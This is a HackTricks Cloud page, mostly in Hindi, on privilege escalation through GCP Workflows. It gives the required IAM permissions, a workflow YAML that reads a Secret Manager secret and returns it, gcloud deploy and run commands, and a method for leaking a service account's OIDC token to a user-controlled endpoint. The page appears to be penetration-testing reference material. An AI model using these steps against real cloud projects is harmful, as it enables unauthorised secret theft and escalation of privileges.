GCP - Workflows Privesc
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Workflows
बुनियादी जानकारी:
workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)
जहाँ तक मुझे पता है, Workflow से जुड़ी SA की क्रेडेंशियल्स वाले metadata endpoint तक पहुँच देने वाला shell प्राप्त करना संभव नहीं है। हालाँकि, Workflow के अंदर निष्पादित करने के लिए actions जोड़कर SA की permissions का दुरुपयोग करना संभव है।
Connectors का documentation पाया जा सकता है। उदाहरण के लिए, यह page of the Secretmanager connector. साइडबार में कई अन्य connectors मिल सकते हैं।
और यहाँ आप एक connector का उदाहरण पा सकते हैं जो secret को print करता है:
Workflow YAML configuration to access secrets
```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```CLI से अपडेट:
CLI से Deploy और Execute workflows
```bash gcloud workflows deployयदि आपके पास वेब एक्सेस नहीं है तो Workflow के execution को trigger करके देखना संभव है:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
Caution
आप पिछले निष्पादनों के आउटपुट को संवेदनशील जानकारी देखने के लिए भी जांच सकते हैं
ध्यान दें कि भले ही आपको PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... जैसा error मिले क्योंकि आपके पास वह permission नहीं है, workflow जनरेट हो चुका होता है।
Leak OIDC token (and OAuth?)
According to the docs it’s possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of Cloud Scheduler, the HTTP request with the Oauth token must be to the host .googleapis.com.
Caution
इसलिए, यह संभव है कि आप एक HTTP endpoint इंगित करके OIDC token को leak कर सकते हैं जो user द्वारा नियंत्रित हो, परंतु OAuth token को leak करने के लिए आपको उस सुरक्षा के लिए bypass की आवश्यकता होगी। फिर भी, आप किसी भी GCP api को contact करके SA की ओर से कार्रवाई कर सकते हैं, चाहे वह connectors हों या OAuth token के साथ HTTP requests हों।
Oauth
Workflow HTTP request with OAuth token
```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```Workflow HTTP अनुरोध जिसमें OIDC token हो
```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```इस अनुमति के साथ, workflows.workflows.create की बजाय पहले से मौजूद एक workflow को अपडेट करना और वही attacks करना संभव है।
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

